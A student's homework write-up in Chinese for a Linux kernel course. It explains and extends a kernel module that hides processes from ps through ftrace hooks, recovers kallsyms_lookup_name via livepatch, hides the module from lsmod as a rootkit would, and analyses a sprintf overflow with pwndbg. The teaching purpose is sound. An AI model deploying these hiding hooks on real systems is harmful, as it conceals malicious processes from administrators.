# 2021q3 Homework1 (quiz1)
###### tags: `2021 年暑期「Linux 核心」`
contributed by \<u1f383>
由於當初以為在 10 分鐘之內就要送出答案,因此沒能好好完成==作答區==的問題,在此補上答案:
:::success
AAA = list_for_each_entry_safe
BBB = list_for_each_entry_safe
CCC = list_add_tail(&proc->list_node, &hidden_proc);
DDD = list_del(&proc->list_node);
:::
## 0. 環境
``` shell
$ uname -a
Linux ubuntu 5.8.0-63-generic ... x86_64 x86_64 x86_64 GNU/Linux
```
## 1. 解釋上述程式碼運作原理,包含 ftrace 的使用
kernel module 在 init function 時透過 `device_create()` 註冊了 device,其中也包含定義對 device 執行 `open` `release` `read` `write` 所呼叫到的 function,比較重要的為 `read` 以及 `write`:
``` c
/* called when user read something from device */
static ssize_t device_read(struct file *filep,
char *buffer,
size_t len,
loff_t *offset)
{
pid_node_t *proc, *tmp_proc;
char message[MAX_MESSAGE_SIZE];
if (*offset)
return 0;
/* copy all proc pid of hidden procs to user */
list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) {
memset(message, 0, MAX_MESSAGE_SIZE);
sprintf(message, OUTPUT_BUFFER_FORMAT, proc->id);
copy_to_user(buffer + *offset, message, strlen(message));
*offset += strlen(message);
}
return *offset;
}
```
當執行 `read` 時會呼叫 `device_read`,遍歷所有的 `hidden_proc`,並且將每個 process 的 pid 連接後回傳給使用者。
``` c
/* called when user write something into device */
static ssize_t device_write(struct file *filep,
const char *buffer,
size_t len,
loff_t *offset)
{
long pid;
char *message;
char add_message[] = "add", del_message[] = "del";
if (len < sizeof(add_message) - 1 && len < sizeof(del_message) - 1)
return -EAGAIN;
message = kmalloc(len + 1, GFP_KERNEL);
memset(message, 0, len + 1);
copy_from_user(message, buffer, len);
if (!memcmp(message, add_message, sizeof(add_message) - 1)) { /* add <pid> */
kstrtol(message + sizeof(add_message), 10, &pid);
hide_process(pid);
} else if (!memcmp(message, del_message, sizeof(del_message) - 1)) { /* del <pid> */
kstrtol(message + sizeof(del_message), 10, &pid);
unhide_process(pid);
} else {
kfree(message);
return -EAGAIN;
}
*offset = len;
kfree(message);
return len;
}
```
當執行 `write` 時會呼叫 `device_write`,當接收到的 data 格式為 `add <pid>`,會執行 `hide_process` 把 `<pid>` 加入 hidden process 的 list 當中;當接收到的 data 格式為 `del <pid>`,會執行 `unhide_process` 把 `<pid>` 從 hidden process 的 list 當中移除。
而在 init function 的最後呼叫 `init_hook`,初始化 ftrace 相關 structure,流程大致如下:
1. 在 function `init_hook` 中初始化了 hook 的名稱 `"find_ge_pid"`、hook function `hook_find_ge_pid` 以及要被 hook 的 function `find_ge_pid`
2. 而後在 function `hook_install` 中,設定了 ftrace rule,rule 大致上是當 kernel 執行到 `find_ge_pid` 時,會先去執行 filter function `hook_ftrace_thunk`,`hook_ftrace_thunk` 會先判斷 `find_ge_pid` 是否由當前 module 所呼叫,若不是的話,會將 instruction pointer (ip) 指向先前設定的 hook function `hook_find_ge_pid`
3. 呼叫 `register_ftrace_function` 註冊 ftrace function,最後離開程式
根據 `find_ge_pid` 的註解說明,此 function 用在找尋大於等於 (ge) 給定 pid 的 process 的 struct pid,在 userland 中找尋 process 相關的命令如 `ps` 皆會使用到,然而 ftrace 會在真正執行之前加上 hook function 來做處理,讓我們看一下 hook function `hook_find_ge_pid` 的行為:
``` c
static struct pid *hook_find_ge_pid(int nr, struct pid_namespace *ns)
{
/* First we get the orig return pid from find_ge_pid() */
struct pid *pid = real_find_ge_pid(nr, ns);
/* Next we check whether the pid is in hidden_proc list,
if it is, return pid greater than or equal nr+1 and
not hidden instead of return the pid of hidden proc. */
while (pid && is_hidden_proc(pid->numbers->nr))
pid = real_find_ge_pid(pid->numbers->nr + 1, ns);
return pid;
}
```
`hook_find_ge_pid` 會先取得原本執行 `real_find_ge_pid` 的結果,如果回傳的 pid 存在於 hidden_proc,也就是先前透過 `write` 來定義的 pid list,就會將 pid + 1 後在執行 `real_find_ge_pid`。該步驟重複執行到 pid 不在 `hidden_proc` 當中,就會將結果回傳,繼續執行。
做個總結:
1. user 可以透過對 device 下命令,透過 `write` 傳入如 `add <pid>` 的字串,讓 module 把 `<pid>` 加到 `hidden_proc`
2. userland 執行 `ps` 相關取得 process 資訊的指令時,ftrace function 會被 trigger,並且回傳不在 `hidden_proc` 中大於等於 pid 的 process 的 struct pid
## 2. 本程式僅在 Linux v5.4 測試,若你用的核心較新,請試著找出替代方案
> 2020 年的變更 Unexporting kallsyms_lookup_name()
Access to kallsyms on Linux 5.7+
[linux kernel document](https://www.kernel.org/doc/html/latest/livepatch/livepatch.html#motivation) 中有提到 linux kenrel 提供許多機制可以做程式執行重導向,目的是讓 user 能夠在不重開機的情況下,能夠修補引發錯誤的 critical function。透過這些機制能夠取得 function pointer 並使用,而在本實驗中也可以用來取得 `kallsyms_lookup_name` 的 function pointer。
而在這邊我選擇使用 livepatch 的方式,並參考 [kallsyms-mod repo](https://github.com/h33p/kallsyms-mod) 說明並加以研究:
1. kernel livepatching interface
``` c
/* -----------add----------- */
/**
* @old_name: name of the function to be patched
* @new_func: pointer to the patched function code
*/
static struct klp_func funcs[] = {
{
.old_name = "kallsyms_lookup_name",
.new_func = kallsyms_lookup_name,
}, { }
};
static struct klp_func failfuncs[] = {
{
.old_name = "___________________",
}, { }
};
/**
* klp_object - kernel object structure for live patching
* @name: module name (or NULL for vmlinux)
* @funcs: function entries for functions to be patched in the object
*/
static struct klp_object objs[] = {
{
.funcs = funcs,
},
{
.name = "kallsyms_failing_name",
.funcs = failfuncs,
}, { }
};
/**
* klp_patch - patch structure for live patching
* @mod: reference to the live patch module
* @objs: object entries for kernel objects to be patched
*/
static struct klp_patch patch = {
.mod = THIS_MODULE,
.objs = objs,
};
unsigned long kallsyms_lookup_name(const char *name)
{
return ((unsigned long(*)(const char *))funcs->old_func)(name);
}
int init_kallsyms(void)
{
/* klp_enable_patch - enable the livepatch */
int r = klp_enable_patch(&patch);
if (!r)
return -1;
return 0;
}
/* -----------patch----------- */
static void init_hook(void)
{
if (init_kallsyms() != 0)
return;
real_find_ge_pid = kallsyms_lookup_name("find_ge_pid");
printk(KERN_INFO "find_ge_pid: %lx\n", real_find_ge_pid);
...
}
```
將上述程式碼加進 `hideproc.c` 後,並需要額外 include `<linux/livepatch.h>`,以及定義 module info `MODULE_INFO(livepatch, "Y");` 就能順利執行。
而這邊有個匪夷所思的地方,如果 livepatch 沒有加上 obj `kallsyms_failing_name` 則無法順利執行,但是我有嘗試執行過官方提供的 [sample code](https://github.com/torvalds/linux/blob/master/samples/livepatch/livepatch-sample.c) 來執行,除了最後要使用 `echo 0 | sudo tee /sys/kernel/livepatch/hideproc/enabled` 關閉 livepatch 才能順利 remove module 之外,也沒有特別加上 failing function:
``` c
{
.name = "kallsyms_failing_name",
.funcs = failfuncs,
},
```
## 3. 本核心模組只能隱藏單一 PID,請擴充為允許其 PPID 也跟著隱藏,或允許給定一組 PID 列表,而非僅有單一 PID
### 允許給定一組 PID 列表,而非僅有單一 PID
``` c
/* called when user write something into device */
static ssize_t device_write(struct file *filep,
const char *buffer,
size_t len,
loff_t *offset)
{
...
if (!memcmp(message, add_message, sizeof(add_message) - 1)) { /* add <pid> */
char *pid_list = message + sizeof(add_message);
char **ptr = &pid_list;
char *cur;
while ((cur = strsep(ptr, " ")) != NULL) {
if (strlen(cur) && !kstrtol(cur, 10, &pid)) {
printk(KERN_INFO "[add] get pid: %ld\n", pid);
hide_process(pid);
}
}
} else if (!memcmp(message, del_message, sizeof(del_message) - 1)) { /* del <pid> */
char *pid_list = message + sizeof(del_message);
char **ptr = &pid_list;
char *cur;
while ((cur = strsep(ptr, " ")) != NULL) {
if (strlen(cur) && !kstrtol(cur, 10, &pid)) {
printk(KERN_INFO "[del] get pid: %ld\n", pid);
unhide_process(pid);
}
}
}
...
}
```
當使用者傳送的資料格式為 `add <pid1>{spaces}<pid2>{spaces}<pidN>` 或是 `del <pid1>{spaces}<pid2>{spaces}<pidN>`,hideproc 可以透過 `strsep` parse 傳入的 pids 做到一次新增/刪除多個 pid。
### 允許其 PPID 也跟著隱藏
``` c
static int hide_process(pid_t pid)
{
pid_node_t *proc = kmalloc(sizeof(pid_node_t), GFP_KERNEL);
proc->id = pid;
list_add_tail(&proc->list_node, &hidden_proc); /* add a new node to tail of list_head */
/**
* Get the corresponding task_struct from pid, and if pid has parent,
* create a new hidden proc node for it.
*/
struct task_struct *p = pid_task(find_vpid(pid), PIDTYPE_PID);
/* The process has parent :) */
if (p != NULL && p->parent != NULL) {
pid_node_t *parent = kmalloc(sizeof(pid_node_t), GFP_KERNEL);
parent->id = p->parent->pid;
list_add_tail(&parent->list_node, &hidden_proc);
}
return SUCCESS;
}
```
在隱藏指定 pid 時,先去看是否 pid 有 parent,如果有的話也把他加到 hidden_proc 當中。而檢察是否有 parent 的方式為: 先用 `pid_task()` 取得對應 pid 的 `task_struct`,而其中 member `parent` 則是指向 parent 的 `task_struct`,如果 pointer 存在代表有 parent,即可從 member `pid` 取得 parent pid。
## 4.指出程式碼可改進的地方,並動手實作
**從功能方面**來看,由於使用 `lsmod` 指令仍可以看到此 module,作為 rootkit 來使用容易被發現,因此效法 hidden process 的方法,透過 hook 的方式讓 module 不會在 `lsmod` 中顯示,但是仍會出現在目錄 `/dev` 底下。
``` c
#define MODULE_NAME "hideproc_m"
static struct module *hook_find_module_all(const char *name, size_t len,
bool even_unformed)
{
if (!strcmp(name, MODULE_NAME))
return NULL;
return real_find_module_all(name, len, even_unformed);
}
static int *hook_m_show(struct seq_file *m, void *p)
{
struct module *mod = list_entry(p, struct module, list);
if (!strcmp(mod->name, MODULE_NAME))
return 0;
return real_m_show(m, p);
}
static void init_hook(void)
{
if (init_kallsyms() != 0)
return;
/**
* find_module_all is called when user use command such
* as "rmmod", so hooking at find_module_all and check if
* argument is our module name, if it is, just return.
*/
real_find_module_all = kallsyms_lookup_name("find_module_all");
printk(KERN_INFO "find_module_all: %lx\n", real_find_module_all);
module_hook.name = "find_module_all";
module_hook.func = hook_find_module_all; /* hook function */
module_hook.orig = &real_find_module_all; /* real function */
hook_install(&module_hook);
...
/**
* When user uses command "lsmod", it will read /proc/modules,
* and /proc/modules will use kernel function "m_show" to show
* all module information.
* We hook at m_show called, and check if argument is struct of
* our module, if it is, just return. */
real_m_show = kallsyms_lookup_name("m_show");
printk(KERN_INFO "m_show: %lx\n", real_m_show);
m_show_hook.name = "m_show";
m_show_hook.func = hook_m_show; /* hook function */
m_show_hook.orig = &real_m_show; /* real function */
hook_install(&m_show_hook);
}
```
---
資源使用方面補齊了 `_hideproc_exit()` 當中需要 release 資源的部分,以免造成 memory leak:
``` c
/**
* _hideproc_exit() - reset ftrace hook and clear device
*/
static void _hideproc_exit(void)
{
printk(KERN_INFO "@ %s\n", __func__);
/* free all memory */
pid_node_t *proc, *tmp_proc;
list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) {
list_del(&proc->list_node);
kfree(proc);
}
/* remove ftrace hook */
hook_remove(&module_hook);
hook_remove(&ge_pid_hook);
hook_remove(&m_show_hook);
/* removes a device that was created with device_create() */
device_destroy(hideproc_class, MKDEV(MAJOR(dev), MINOR_VERSION));
cdev_del(&cdev); /* remove a cdev from the system */;
class_destroy(hideproc_class); /* destroys a struct class structure */
/* unregister a range of device numbers */
unregister_chrdev_region(&dev, MINOR_VERSION);
}
```
---
然後我發現 `read` 的部分可能會有 overflow 的問題:
``` c
/* called when user read something from device */
static ssize_t device_read(struct file *filep,
char *buffer,
size_t len,
loff_t *offset)
{
...
char message[MAX_MESSAGE_SIZE]; // buffer size 13
...
list_for_each_entry_safe (proc, tmp_proc, &hidden_proc, list_node) {
memset(message, 0, MAX_MESSAGE_SIZE);
sprintf(message, OUTPUT_BUFFER_FORMAT, proc->id);
copy_to_user(buffer + *offset, message, strlen(message));
*offset += strlen(message);
}
return *offset;
}
```
其中 `proc->id` 的型態是 `pid_t`:
``` c
// https://elixir.bootlin.com/linux/v5.8/source/include/linux/types.h#L22
typedef __kernel_pid_t pid_t;
// https://elixir.bootlin.com/linux/v5.8/source/include/uapi/asm-generic/posix_types.h#L28
typedef int __kernel_pid_t;
```
pid 的上限為 4194304 (`/proc/sys/kernel/pid_max`),而透過 `sprintf()` 產生出來的最長字串為 `pid: 4194304\n` 13 bytes,但是 `sprintf()` 結尾會有一個 NULL byte,可以透過簡單的 c 程式做範例:
``` c
#include <stdio.h>
int main()
{
char message[13] = {0};
sprintf(message, "pid: %d\n", 4194304);
return 0;
}
```
在編譯時期 gcc 就會跳出警告:
```
test.c: In function ‘main’:
test.c:6:32: warning: ‘sprintf’ writing a terminating nul past the end of the destination [-Wformat-overflow=]
8 | sprintf(message, "pid: %d\n", 4194304);
| ^
test.c:6:5: note: ‘sprintf’ output 14 bytes into a destination of size 13
8 | sprintf(message, "pid: %d\n", 4194304);
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
寫入前執行 `set *(int64_t*)(0x7fffffffdd2b+8)=0xdeadbeefdeadbeef` 幫助我們觀察:
```
pwndbg> x/10gx 0x7fffffffdd2b
0x7fffffffdd2b: 0x0000000000000000 0xdeadbeefdeadbeef
0x7fffffffdd3b: 0x000000b1a5490c47 0xde10b30000000000
```
寫入後:
```
pwndbg> x/10gx 0x7fffffffdd2b
0x7fffffffdd2b: 0x393134203a646970 0xdead000a34303334
0x7fffffffdd3b: 0x000000b1a5490c47 0xde10b30000000000
```
在第 14 個 byte 被寫入 00 (NULL byte),因此可能會造成
這只是正常情況下會發生的問題,然而我們沒辦法保證使用者傳入的 `pid` 是否是正常的 pid 範圍 (1~4194304),至少因為 pid 的型態是 `int`,最多可以到 `2147483647`,然而 10 bytes 的字串就足夠蓋到變數 `message[]` 正常能夠存取到的地方了。
而如果電腦是 32 位元,是否會有更大的問題?
解決方法有二:
1. 限制傳入的 pid 是否符合 `/proc/sys/kernel/pid_max` 所規範
2. 將 buffer size 設定成更大的數值
由於是從 kernel space 將資料 copy 到 userland,我們會好奇是否能透過 `device_read` 取得 kernel 記憶體位置,不過的是這邊使用的是 `sprintf`,結尾必定會加上 NULL byte 來截斷,因此沒辦法來 leak kernel address;而因為 buffer 下面的就是 canary 了,因此能 overflow 的部分也沒辦法做利用。
---
最後有發現 hidden_proc 並沒有檢測是否出現 duplicate pid,因此可以在每次新增 list node 時做檢查。